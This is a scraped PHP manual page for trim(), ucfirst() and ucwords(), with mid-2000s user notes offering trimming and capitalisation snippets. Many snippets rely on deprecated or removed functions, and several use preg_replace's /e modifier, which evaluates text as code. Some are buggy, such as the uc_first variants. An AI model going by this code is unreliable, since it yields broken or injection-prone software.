$signature = strtr($signature, $protect);
$config = strtr($config, $protect);
dmr37 at cornell dot edu
18-May-2005 03:47
Note that manithu's post on 29-Mar-2005 02:49 for identifying strings that only contain whitespaces will also identify strings like "0" and " 0  " as being empty.  If you want to check whether something ONLY has whitespaces, use the following:

<?php

if (trim($foobar)=='') {
   echo 'The string $foobar only contains whitespace!';
}

?>
admin at semaster dot ru
31-Mar-2005 11:37
Another recursive trim function for multi-dimensional arrays ( uses only trim function :)

function array_trim($arr, $charlist=null){
   foreach($arr as $key => $value){
       if (is_array($value)) $result[$key] = array_trim($value, $charlist);
       else $result[$key] = trim($value, $charlist);
   }
   return $result;
}
manithu
30-Mar-2005 03:49
An faster (and eleganter) way than using regular expressions to check if a string only contains whitespaces is to use trim().

Example:

<?php

if (!trim($foobar)) {
   echo 'The string $foobar is empty!';
}

?>

I hope this helps somebody.
05-Mar-2005 02:25
It is important to stress that trim() only removes whitespace characters from the *beginning* and *end* of str.  To remove whitespace characters embedded within a string (newlines, for instance) you can use str_replace(), searching for and destroying both \n and \r characters.
Rook
17-Feb-2005 02:29
Recursive trim function for multi-dimensional arrays:
<?php
function trim_array($x)
{
   if (is_array($x)) {
       return array_map('trim_array', $x);
   }
   return trim($x);
}
$_POST = array_map('trim_array', $_POST);
?>
Hayley Watson
08-Feb-2005 08:46
Another way to trim all the elements of an array
<?php
$newarray = array_map('trim', $array);
?>
abderzack host provider hotmail dot com
12-Nov-2004 11:44
To eliminate all the empty strings from my array, I used the array_filter, that way :

1.
I defined a function returning true iff the passed as parameter string is NOT empty.
function notEmpty($string)
{
return !empty($string);
}

2.Use array filter :
$myarray = array_filter($myarray ,"notEmpty");

That's it.
Of course, if you want to prove your mama you can write unreadable code, you can create an anonymous function, by using the create_function, instead of declaring the function notEmpty.

Hope that will help you.
root at andthesito dot net
06-Oct-2004 07:33
About trim all elements in an array.

May be
array_walk($db ,create_function('&$arr','$arr=trim($arr);'));

could be better than :
foreach ($db as $key=>$value) { $db[$key]=trim($value); }
webmaster __AT__ digitalanime __DOT__ nl
27-May-2004 05:50
To:
mrizzo at advancedsl dot com dot ar

And what about array_map()? :)

<?php
$myarray = array(
   'hello' => '    bye    ',
   'hey' => '      howdie',
   'haai' => '      today'
);

array_map('trim', $myarray);
?>

:)
jubi at irc dot pl
20-Apr-2004 09:48
To remove multiple occurences of whitespace characters in a string an convert them all into single spaces, use this:

<?

$text = preg_replace('/\s+/', ' ', $text);

?>

------------
JUBI
http://www.jubi.buum.pl
mrizzo at advancedsl dot com dot ar
17-Jul-2003 05:00
About trim all elements in an array.

array_filter($db, 'trim') doesn't work becouse it does NOT modify array's elements, it only returns a copy from those elements which return true on the callback function.

I think that:
foreach ($db as $key=>$value) { $db[$key]=trim($value); }
still being the best option.
rwelti at yahoo dot com
03-Jul-2003 08:45
Regarding the editor's note to rhelic above about how to trim all elements in an array:

I wanted a perl "chomp" of newlines for all elements in an array.
I tried array_filter for a long time, but  rhelic's straightforward way is what worked.

// chomp newlines off all elements in stations array
$stations = array_filter($stations, 'trim');  // editor's way - nope
foreach ($stations as $key => $value) {
           $stations[$key] = trim($value); }  // works fine

using PHP 4.3.1 on Solaris
HW
06-Jun-2003 09:32
You can combine character ranges and individual characters in trim()'s second argument (ditto for ltrim and rtrim). All of the specified characters and ranges will be used concurrently (i.e., if a character on either end of the string matches any of the specified charaters or character ranges, it will be trimmed). The characters and character ranges can be in any order (except of course that the character ranges need to be specified in increasing order) and may overlap.
E.g., trim any nongraphical non-ASCII character:
trim($text,"\x7f..\xff\x0..\x1f");
olivierdsm at hotmail dot com
03-Jun-2003 01:42
I just wanted to say that when you want to do a LDAP query based on a form value (i mean something like : <form method="POST" action="script_createnewticket.php" name="demande2">) dynamicaly updated from a popup javascript , (for example <a onclick=" opener.document.forms['demande2'].elements['thename3'].value='my name') it doesn't work.

It took me 2 days to find out that when you use trim, to "convert" the value, then it works.

-------------------------
$thename4=trim($thename3);

$ds=ldap_connect("$myldapserver");  // connects to the LDAP SERVER
if (!($ds = ldap_connect("$myldapserver") ) ) {
die ("Could not connect to LDAP server");
}
   $r=ldap_bind($ds, "cn=".$NTusername, $NTpassword);
   $sr = ldap_search($ds, '  ', "uid=".$thename4);
   $info = ldap_get_entries($ds, $sr);
-------------------------------------

only on this case you will get results.
Strange and good to know
bishop
26-Apr-2003 06:56
[Editor: I botched my last note; please delete and use this one]

Non-breaking spaces can be troublesome with trim (as per an earlier comment):

// turn some HTML with non-breaking spaces into a "normal" string
$myHTML = "&nbsp;abc";
$converted = strtr($myHTML, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));

// this WILL NOT work as expected
// $converted will still appear as " abc" in view source
// (but not in od -x)
$converted = trim($converted);

// &nbsp; are translated to 0xA0, so use:
$converted = trim($converted, "\xA0");

// PS: Thanks to John for saving my sanity!
Joshua dot Logsdon at ohiou dot edu
31-Jan-2003 07:51
In response to the line mentioned above...
$clean = trim($binary,"\0x00..\0x1F");

I was also able to get
$clean = trim($binary,"\0x00-\0x1F");

to function.
daggillies at yahoo dot com
04-Jun-2002 02:57
NOTE:

All the above examples using ereg_replace with an escape code of \v are BROKEN! \v is NOT an escape code in PHP. Using a regexp of \v e.g.
$str=ereg_replace("[\r\t\n\v]","",$str);

will remove any instances of the letter 'v' from your string. So 'Activity' becomes 'Actiity'. Probably not what you want.

Here is a small function I use to strip whitespace from the end of strings and squash repeated whitespace down to a single space in the middle of strings:

function wsstrip(&$str)
{
$str=ereg_replace (' +', ' ', trim($str));
$str=ereg_replace("[\r\t\n]","",$str);
}

David Gillies
San Jose
Costa Rica
j dot metzger at steptown dot com
27-May-2002 01:21
Be careful when you use the charlist with the hex-codes...

use e.g. \x22 instead of \0x22 (this last thing won't work).

An example to strip quotes ' " ' (double quotes) and " ' " (single quotes) is to do this:

$example[0]='"hello"';
$example[1]="'baby'"

foreach ($example as $key => $val)
  $example[$key]=trim($val,"\x22\x27");

# this works brilliant, but be aware:
# $example[$key]=trim($val,"\0x22\0x27");
# won't work !!!

-> tested on php 4.2.1
REMOVETHISNOSPAMkilling at bluecarrots dot com
20-Mar-2002 01:30
If you want to totally stop windows (dunno about other os's) peeps from adding spaces (say, you need to check there name against a special one to stop impersonations) use this:

$nick = ereg_replace("[\r\n\t\v\ ]", "", trim($nick));

It has the alt code 0160 added to it
tbm.at.home.dot.nl
15-Mar-2002 03:30
Windows uses two characters for definining newlines, namely ASCII 13 (carriage return, "\r") and ASCII 10 (line feed, "\n") aka CRLF. So if you have a string with CRLF's, trim() won't recognize them as being one newline. To solve this you can use str_replace() to replace the CRLF's with with a space or something.

<?php
// string with bunch of CRLF's
$my_string = "Liquid\r\nTension Experiment\r\n\r\n\r\n";

// replace CRLF's with spaces
$my_wonderful_string = str_replace("\r\n", " ", $my_string);
// would result in "Liquid Tension Experiment  "

// or just delete the CRLF's (by replacing them with nothing)
$my_wonderful_string = str_replace("\r\n", "", $my_string);
// would result in "LiquidTension Experiment"
?>
thibs at thibs dot com
16-Oct-2001 11:16
[Editor's Note:
ltrim() is a better choice for this task. You can also use rtrim() to trim from the end of the string.
--zak@php.net]

To erase space just at the beginning of the string, use :
$string = eregi_replace("^[[:space:]]+", "", $string);
cgi at harrison dot org
14-Dec-2000 12:02
To replace all excess white spaces with a single space try:

print $pizza = "One    Two Three  Four";

$pizza = eregi_replace("[[:space:]]+", " ", $pizza);
14-Oct-2000 05:25
To compact any number of spaces inside a string to a single space, use the following code:

print $pizza  = "Teil1Teil2Teil3Teil4Teil5Teil6df\n";

$pizza = ereg_replace (' +', ' ', $pizza);
alivesay at yellowbrix dot com
25-Jul-2000 09:35
If you are trying to take out whitespace from the middle of a string, you need to use a different function, str_replace:

<PRE>str_replace(" ", "", "United Kingdom);</PRE>

[Editor's note:
This strips *all* spaces present in the string, not just the ones in the middle
]
add a note add a note

后退 | 起点 | 前进
substr | 上一级 | ucfirst


ucfirst

(PHP 3, PHP 4, PHP 5)

ucfirst -- Make a string's first character uppercase

Description

string ucfirst ( string str )

Returns a string with the first character of str capitalized, if that character is alphabetic.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a () will not be converted.

例子 1. ucfirst() example

<?php
$foo = 'hello world!';
$foo = ucfirst($foo);             // Hello world!

$bar = 'HELLO WORLD!';
$bar = ucfirst($bar);             // HELLO WORLD!
$bar = ucfirst(strtolower($bar)); // Hello world!
?>

See also strtolower(), strtoupper(), and ucwords().

add a note add a note User Contributed Notes
18-May-2006 08:45
Function ucfirts() do not support unicode
Markus Ernst
31-Mar-2006 04:34
A combination of the below functions to enable ucfirst for multibyte strings in a shared hosting environment (where you can not always count on mbstring to be installed):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
   if (function_exists('mb_strtoupper')) {
       $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
       return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
   }
   else {
       $str = utf8_decode($str);
       $str[0] = strtr($str[0],
           "abcdefghijklmnopqrstuvwxyz".
           "\x9C\x9A\xE0\xE1\xE2\xE3".
           "\xE4\xE5\xE6\xE7\xE8\xE9".
           "\xEA\xEB\xEC\xED\xEE\xEF".
           "\xF0\xF1\xF2\xF3\xF4\xF5".
           "\xF6\xF8\xF9\xFA\xFB\xFC".
           "\xFE\xFF",
           "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
           "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
           "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
           "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
           "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
           "\xDB\xDC\xDE\x9F");
       return utf8_encode($str);
   }
}
?>
Bartuc
27-Feb-2006 09:28
Here is the fixed function for Turkish alphabet..

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefghijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFE\xFF",
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDE\x9F");
   return $str;
}

?>
Markus Ernst
12-Jan-2006 10:39
plemieux' function did not work for me without passing the encoding to every single mb function (despite ini_set('default_charset', 'utf-8') at the top of the script). This is the example that works in my application (PHP 4.3):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
   $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
   return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
}
?>
plemieux
30-Sep-2005 02:05
Simple multi-bytes ucfirst():

<?php
function my_mb_ucfirst($str) {
   $fc = mb_strtoupper(mb_substr($str, 0, 1));
   return $fc.mb_substr($str, 1);
}
?>
info [at] spwdesign [dot] com
23-Jun-2005 03:48
This is a simple code to get all the 'bad words', stored in a database, out of the text. You could use str_ireplace but since that's installed on PHP5 only, this works as well. It strtolowers the text first then places capitals with ucfirst() where it thinks a capital should be placed, at a new sentence. The previous sentence is ended by '. ' then.

<?php
function filter($text){
   $filters=mysql_query("SELECT word,result FROM filter");
   while($filter=mysql_fetch_array($filters)){
       $text=str_replace($filter[word],$filter[result],strtolower($text));
       $parts=explode(". ",$text);
       for($i=0;$i<count($parts);$i++){
           $parts[$i]=ucfirst($parts[$i]);
       }
       $text=implode(". ",$parts);
   }
   return $text;
}
?>
13-Mar-2005 09:11
Ah, the last code were spoiled, here is the fixed one:

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefghijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFD\xFE\xFF",
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDD\xDE\x9F");
   return $str;
}

?>

So, this function changes also other letters into uppercase, ucfirst() does only change: a-z to: A-Z.
Stig-Arne Grnroos
26-Dec-2004 02:46
This function does not work as expected with characters from non-English alphabets (I only tested it with scandinavian letters,  => ). It leaves them as lowercase.

Someone already commented that the function doesn't work on html entities, which is somewhat understandable. This bug however takes place before I convert the strings to html.
steven at tux dot appstate dot edu
22-Jun-2004 03:14
Note: the return for this function changed in versions 4.3 when a string is passed of length 0.  In <4.2 false is returned and in >4.3 a string of length 0 is returned.

Example:

$name = ucfirst("");
var_dump($name);

$name = ucfirst("owen");
var_dump($name);

Results for <4.2:
bool(false) string(4) "Owen"

Results for >4.3:
string(0) "" string(4) "Owen"
Ami Hughes (ami at mistress dot name)
08-Apr-2004 11:34
In the event you sort of need multiple delimiters to apply the same action to, you can preg_replace this "second delimiter" enveloping it with your actual delimiter.

A for instance, would be if you wanted to use something like Lee's FormatName function in an input box designed for their full name as this script was only designed to check the last name as if it were the entire string.  The problem is that you still want support for double-barreled names and you still want to be able to support the possibility that if the second part of the double-barreled name starts with "mc", that it will still be formatted correctly.

This example does a preg_replace that surrounds the separator with your actual delimiter.  This is just a really quick alternative to writing some bigger fancier blah-blah function.  If there's a shorter, simpler way to do it, feel free to inform me.  (Emphasis on shorter and simpler because that was the whole point of this.) :D

Here's the example.  I've removed Lee's comments as not to confuse them with my own.

<?php

   function FormatName($name=NULL)
   {
       if (empty($name))
           return false;

       $name = strtolower($name);
       $name = preg_replace("[\-]", " - ",$name); // Surround hyphens with our delimiter so our strncmp is accurate
       if (preg_match("/^[a-z]{2,}$/i",$name))  // Simple preg_match if statement
       {

           $names_array = explode(' ',$name);  // Set the delimiter as a space.

           for ($i = 0; $i < count($names_array); $i++)
           {
               if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i]))
               {
                   $names_array[$i][2] = strtoupper($names_array[$i][2]);
               }
               $names_array[$i] = ucfirst($names_array[$i]);

           }

           $name = implode(' ',$names_array);
           $name = preg_replace("[ \- ]", "-",$name); //  Remove the extra instances of our delimiter
           return ucwords($name);

       }
   }

?>
lazaro_tolentino at hotmail dot com
02-Apr-2004 05:16
this is a advance ucfirst function, for upper especifics words, with config in array of seperator
/**
 * @return string
 * @param string $str frase que passar pelo parce
 * @desc Pega uma frase e devolve a mesma com as palavras com suas
 * maiusculas  obedecendo um criterio configurado no array $string_sep
 *
 * @since 2004-04-01 15:04 adicionado a variavel $tring_sep que  um
 * array contendo todos os separadores a serem usados
*/
function str_upper_lower($str)
{
   /**
   * array contendo todos os separadores
   */
   $string_sep=array(' ','-','/','_','.');
   /**
   * coloca todas as palavras com letras minusculas
   */
   $str=strtolower($str);

   /**
   * testa todos os separadores
   */
   for ($i=0;$i<count($string_sep);$i++)
   {
       $sep=$string_sep[$i];
       /**
       * separa a frase usando os separador atual
       */
       $array_words = explode($sep, $str);

       /**
       * variavel que conter o valor temporario
       */
       $tmp_str = '';
       $i2=0;
       foreach ($array_words as $word)
       {
           /**
           * se a quantidade de caracteres for maior que dois, ou se conter ponto,
           *  devolve upper da primeira letra
           */
           $tmp_str .=(strlen($word)>2 || strpos($word,'.')?ucfirst($word):$word);
           /**
           * no adiciona o separador no fim de strings
           */
           if ($i2<count($array_words)-1)
           {
               $tmp_str .= $sep;
           }
           $i2++;
       }
       $str = $tmp_str;
   }
   return $str;
}
Lee Benson
06-Mar-2004 06:37
Here's a function I threw together when needing to validate name entries (both first name and last name).

This allows simple formatting for names prefixed with "Mc" (like McDonald, McCulloch, etc) and names prefixed with O (like O'Reilly, O'Conner, etc)..

It also allows double-barrelled names to be formatted correctly, in the Smith-Jones way.

Here's the function...

<?php

   function FormatName($name=NULL) {

       /* Formats a first or last name, and returns the formatted
       version */

       if (empty($name))
           return false;

       // Initially set the string to lower, to work on it
       $name = strtolower($name);

       // Run through and uppercase any multi-barrelled names

       $names_array = explode('-',$name);

       for ($i = 0; $i < count($names_array); $i++) {

           // "McDonald", "O'Conner"..
           if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i])) {
           $names_array[$i][2] = strtoupper($names_array[$i][2]);

           }

           // Always set the first letter to uppercase, no matter what
           $names_array[$i] = ucfirst($names_array[$i]);

       }

       // Piece the names back together
       $name = implode('-',$names_array);

       // Return upper-casing on all missed (but required) elements of the $name var
       return ucwords($name);

   }

?>

If you have any other "rules" to follow for international/foreign naming rules, you can add them to the foreach loop, and it should still follow all of the other rules.

It's a quick fix, but it seems to do the job nicely.

Examples...

<?php

$name = "o'cONNER-MCdOnAld";
echo FormatName($name);

?>

Returns: O'Conner-McDonald
05-Mar-2004 01:46
Of course ucfirst() will _not_ convert html entities such as &uuml; (u-Umlaut as ) to &Uuml; which would represent .
bkimble at ebaseweb dot com
09-Jun-2003 08:02
Here is a handy function that makes the first letter of everything in a sentence upercase. I used it to deal with titles of events posted on my website ... I've added exceptions for uppercase words and lowercase words so roman numeral "IV" doesn't get printed as "iv" and words like "a" and "the" and "of" stay lowercase.

function RemoveShouting($string)
{
 $lower_exceptions = array(
       "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
       "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
       "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
       "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();

 foreach ($words as $word)
 {
       if (!$higher_exceptions[$word])
               $word = strtolower($word);
       if (!$lower_exceptions[$word])
               $word = ucfirst($word);
         array_push($newwords, $word);

 }

 return join(" ", $newwords);
}
add a note add a note

后退 | 起点 | 前进
trim | 上一级 | ucwords


ucwords

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

ucwords -- Uppercase the first character of each word in a string

Description

string ucwords ( string str )

Returns a string with the first character of each word in str capitalized, if that character is alphabetic.

The definition of a word is any string of characters that is immediately after a whitespace (These are: space, form-feed, newline, carriage return, horizontal tab, and vertical tab).

例子 1. ucwords() example

<?php
$foo = 'hello world!';
$foo = ucwords($foo);             // Hello World!

$bar = 'HELLO WORLD!';
$bar = ucwords($bar);             // HELLO WORLD!
$bar = ucwords(strtolower($bar)); // Hello World!
?>

注: 本函数可安全用于二进制对象。

See also strtoupper(), strtolower() and ucfirst().

add a note add a note User Contributed Notes
Ismet Togay
31-May-2006 08:07
Response to arif:

We do not need that long functions. In order to make ucwords() worked properly in Turkish words that contain speacial characters, we can use the following command in our php codes:

setlocale(LC_ALL, 'tr_TR');

This will set locale to Turkish.
lev at phpfox dot com
06-May-2006 04:44
In the function ucsmart() posted by ieure at php dot net on 04-Dec-2005 11:57, I found a similar problem in this function to what he found in igua's.

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

"igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case."

Actually, it did end up changing the content for me (php 5.0.4) in the way that this function escapes a single quotation (apostrophe) in the MIDDLE of a word.

For example:

who's online?

Became:

Who\'s Online?

The fix is simple however, and merely requires fine-tuning the regular expression:

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z\']|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

(note: while previewing this note before adding it, I am noticing php's website is not correctly displaying the change I made as I wrote it. After the first a-z in the expression, the single quotation should be escaped... If it isn't you will get a parse error! And apoligies if my text here is colored as php code; not my fault!)

This will not escape a single quotation mark which occurs in the middle of a word... Though, you may find that might need to add other characters inside the regular expression if you use other special characters inside your words and if you get funky output.

It's a great expression though! Simple, yet very powerful. Kudos!
arif
29-Mar-2006 04:12
it can be used for Turkish alphabet.

function strtoupperTR($str){
   return strtr($str,
   "abcdefghijklmnopqrstuvwxyz",
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
}
function strtolowerTR($str){
   return strtr($str,
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
   "abcdefghijklmnopqrstuvwxyz");
}

function ucwordsTR($str)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupperTR("$2")',
                       strtolowerTR($str));
}
24-Dec-2005 11:34
"ieure at php dot net", your idea is pure poetry!

The function below will standardize the capitalization on people's names and the titles of reports and essays . You may need to adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function my_ucwords($str, $is_name=false) {
   // exceptions to standard case conversion
   if ($is_name) {
       $all_uppercase = '';
       $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
   } else {
       // addresses, essay titles ... and anything else
       $all_uppercase = 'Po|Rr|Se|Sw|Ne|Nw';
       $all_lowercase = 'A|And|As|By|In|Of|Or|To';
   }
   $prefixes = 'Mc';
   $suffixes = "'S";

   // captialize all first letters
   $str = preg_replace('/\\b(\\w)/e', 'strtoupper("$1")', strtolower(trim($str)));

   if ($all_uppercase) {
       // capitalize acronymns and initialisms e.g. PHP
       $str = preg_replace("/\\b($all_uppercase)\\b/e", 'strtoupper("$1")', $str);
   }
   if ($all_lowercase) {
       // decapitalize short words e.g. and
       if ($is_name) {
           // all occurences will be changed to lowercase
           $str = preg_replace("/\\b($all_lowercase)\\b/e", 'strtolower("$1")', $str);
       } else {
           // first and last word will not be changed to lower case (i.e. titles)
           $str = preg_replace("/(?<=\\W)($all_lowercase)(?=\\W)/e", 'strtolower("$1")', $str);
       }
   }
   if ($prefixes) {
       // capitalize letter after certain name prefixes e.g 'Mc'
       $str = preg_replace("/\\b($prefixes)(\\w)/e", '"$1".strtoupper("$2")', $str);
   }
   if ($suffixes) {
       // decapitalize certain word suffixes e.g. 's
       $str = preg_replace("/(\\w)($suffixes)\\b/e", '"$1".strtolower("$2")', $str);
   }
   return $str;
}

// A name example
print my_ucwords("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print my_ucwords("to be or not to be");
// Output: "To Be or Not to Be"
ieure at php dot net
05-Dec-2005 06:57
Whoa guys, tone things down a bit here. No need to loop and implode. This is a one-line solution:

function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}

igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case.
gothicbunny at hotmail dot com
09-Nov-2005 08:16
Here is a simple, yet winded, opposite to ucwords.

<?php
/*
   # lcwords v1.000
   # Convert the first word character to lowercase (opposite to ucwords)
   # input string
   # return string
*/
function lcwords($string)
{
   /* Some temporary variables */
   #loop variable
   $a = 0;
   #store all words in this array to be imploded and returned
   $string_new = array();
   #create array of all words
   $string_exp = explode(" ",$string);
   foreach($string_exp as $astring)
   {
       for($a=0;$a<strlen($astring);$a++)
       {
           #check that the character we are at {pos $a} is a word
           #i.e. if the word was !A the code would fail at !
           #then loop to the next character and succeed at A
           #check at character position $a
           if(preg_match("'\w'",$astring[$a]))
           {
               $astring[$a] = strtolower($astring[$a]);
               #end the loop
               break;
           }
       }
       $string_new[] = $astring;
   }
   #recreate the string from array components using space deliminator
   return implode(" ",$string_new);
}
?>

Of course a simplier way would be to use a callback, but I like working with long code :)
21-Oct-2005 07:14
Here's a  piece that allows you to use the contents of a directory..  capitalizes the words and make links.. this particular example splits file names at _ and only selects file with .htm extensions (thought you could use any extension and call it using  include()  or soom such)
ie my_file_name.htm will produce
<a href="my_file_name.htm">My File Name</a>

<?php
$path = "/home/path/to/your/directory";
   $mydir = dir($path);
   while(($file = $mydir->read()) !== false) {
     if(substr($file, -4)=='.htm'){
   $trans = array("_" => " ", ".htm" => ""); // creates the editing array
   $newlist = strtr($file, $trans); // edits using editing array
   echo "<a href=\"".$file."\">".ucwords($newlist)."</a><br>";
     }
   }
   ?>
Static Bit
18-Sep-2005 11:01
// programming/repair -> Programming/Repair
// mcdonald    o'neil  -> McDonand O'Neil
// art    of street        -> Art of Street

function NomeProprio($nome)
   {
   //two space to one
   $nome = str_replace("  ", " ", $nome);
   $nome = str_replace("  ", " ", $nome);
   $nome = str_replace("  ", " ", $nome);

   $intervalo = 1;
   for ($i=0; $i < strlen($nome); $i++)
       {
       $letra = substr($nome,$i,1);
       if (((ord($letra) > 64) && (ord($letra) < 123)) || ((ord($letra) > 48) && (ord($letra) < 58)))
         {
         $checa_palavra = substr($nome, $i - 2, 2);
         if (!strcasecmp($checa_palavra, 'Mc') || !strcasecmp($checa_palavra, "O'"))
             {
             $novonome .= strtoupper($letra);
             }
           elseif ($intervalo)
             {
             $novonome .= strtoupper($letra);
             }
           else
             {
             $novonome .= strtolower($letra);
             }
         $intervalo=0;
         }
         else
         {
         $novonome .= $letra;
         $intervalo = 1;
         }
       }
   $novonome = str_replace(" Of ", " of ", $novonome);
   $novonome = str_replace(" Da ", " da ", $novonome);
   $novonome = str_replace(" De ", " de ", $novonome);
   $novonome = str_replace(" Do ", " do ", $novonome);
   $novonome = str_replace(" E " , " e " , $novonome);
   return $novonome;
   }
radley25 at nospam dot spamcop dot net
05-Jul-2005 11:06
In response to joshuamallory at yahoo dot com:

Using CSS to fix a PHP fault is not the ideal way to solve a problem. CSS is browser dependent and can only be used when the data is presented in a web page. A better fix would be something like this:

<?php
function better_ucwords($string) {
   $string = ucwords($string);
   $string = preg_replace('#[\\/][a-z]#e', "strtoupper('$0')", $string);
   return $string;
}
?>
igua no-spam at coveruniverse dot com
08-Mar-2005 08:30
The code posted by neil doesn't fully do what is wanted. Try adding some more question marks at the end and it will return a not wanted string.

Below code will uppercase all your words regardless of the delimiter.

<?php
$text = "What?No 'delimiters',shit \"happens\" here.this solves all problems???";
preg_match_all('/[A-Za-z]+|[^A-Za-z]+/', $text, $data);
for ($i = 0; $i < count($data[0]); $i++) {
  $data[0][$i] = ucfirst($data[0][$i]);
}
$text = implode("", $data[0]);
print $text;
?>
arjini at gmail dot com
24-Jan-2005 04:20
Not so much ucwords() related as it is capital letter related. I often use camel casing (as do wikis), I needed a reason to reverse the camel casing.

function unCamelCase($str){
   $bits = preg_split('/([A-Z])/',$str,false,PREG_SPLIT_DELIM_CAPTURE);
   $a = array();
   array_shift($bits);
   for($i = 0; $i < count($bits); ++$i)
       if($i%2)
           $a[] = $bits[$i - 1].$bits[$i];
   return $a;
}

print_r(unCamelCase('MyFancyCamelCasedWord'));

Array
(
   [0] => My
   [1] => Fancy
   [2] => Camel
   [3] => Cased
   [4] => Word
)
joshuamallory at yahoo dot com
15-Nov-2004 12:08
If you want to format a string like...

<?php
   $string = "computer programming/repair";
   print ucwords($string);
?>

Output: Computer Programming/repair

Notice the word after the slash (Programming/repair) isn't capitalized. To fix this, use CSS...

<?php
   $string = "computer programming/repair";
   print '<p style="text-transform:capitalize">';
   print ucwords($string);
   print '<p>';
?>
babel - nospamplease - sympatico - ca
11-Feb-2004 12:26
Correction to the code of firewire at itsyourdomain dot com:

preg_replace_callback('/\b(\w)(\w+)?/',
   create_function('$a',
   'return strtoupper($a[1]) . ((sizeof($a) > 2 ) ?
       strtolower($a[2]) : "");'),
   'p.s.: hello.this is my string.');

Will work with punctuation as well as spaces.
deepdene at email dot com
10-Dec-2002 03:20
A function knowing about name case (i.e. caps on McDonald etc)

function name_case($name)
{
   $newname = strtoupper($name[0]);
   for ($i=1; $i < strlen($name); $i++)
   {
       $subed = substr($name, $i, 1);
       if (((ord($subed) > 64) && (ord($subed) < 123)) ||
           ((ord($subed) > 48) && (ord($subed) < 58)))
       {
           $word_check = substr($name, $i - 2, 2);
           if (!strcasecmp($word_check, 'Mc') || !strcasecmp($word_check, "O'"))
           {
               $newname .= strtoupper($subed);
           }
           else if ($break)
           {

               $newname .= strtoupper($subed);
           }
           else
           {
               $newname .= strtolower($subed);
           }
             $break=0;
       }
       else
       {
           // not a letter - a boundary
             $newname .= $subed;
           $break=1;
       }
   }
   return $newname;
}
firewire at itsyourdomain dot com
20-Nov-2002 07:13
For those that want to capitalize based on a regular expression.
print preg_replace_callback('/(\s|^)[a-z]/', create_function('$a', 'return strtoupper($a[0]);'), 'hello this is my string');

This is a quick untested example.
anton at titov dot net
26-Sep-2002 01:56
for those, who not avoid regular expressions, solution of discussed problem:

$text=preg_replace('/(\W)(\w)/e', '"\\1".strtoupper("\\2")', ucfirst(strtolower($text)));
fille at fukt dot bth dot se
27-Aug-2002 11:04
[Editor's note: For details on the bug see
http://bugs.php.net/bug.php?id=14655]

This function has a bug, and while waiting for the bug fix, here is a work-around pice of code.

When using international letters, you will get into troubles with the ucwords() function.

Example:

$string="xxxxx" will be "XxxXxx" after beeing processed by ucwords().

To get around it, I wrote some extra code that checks the string once more, and lowercases all letters that is not in the beginning of a word.

$string=ucwords($string);
//Bugfix from here on
for($i=0;$i<strlen($string);$i++)
   if((ctype_upper($string[$i]) &&( $string[$i-1]==" " || $i==0 ))!=TRUE)
       $string[$i]=strtolower($string[$i]);

Thia code is also an optional way of doing the same work on a string that is totally UPPERCASE.
27-Aug-2002 10:20
Beware of language when using this function to collate personal names! This may not work with some languages and this depends on the current locale!
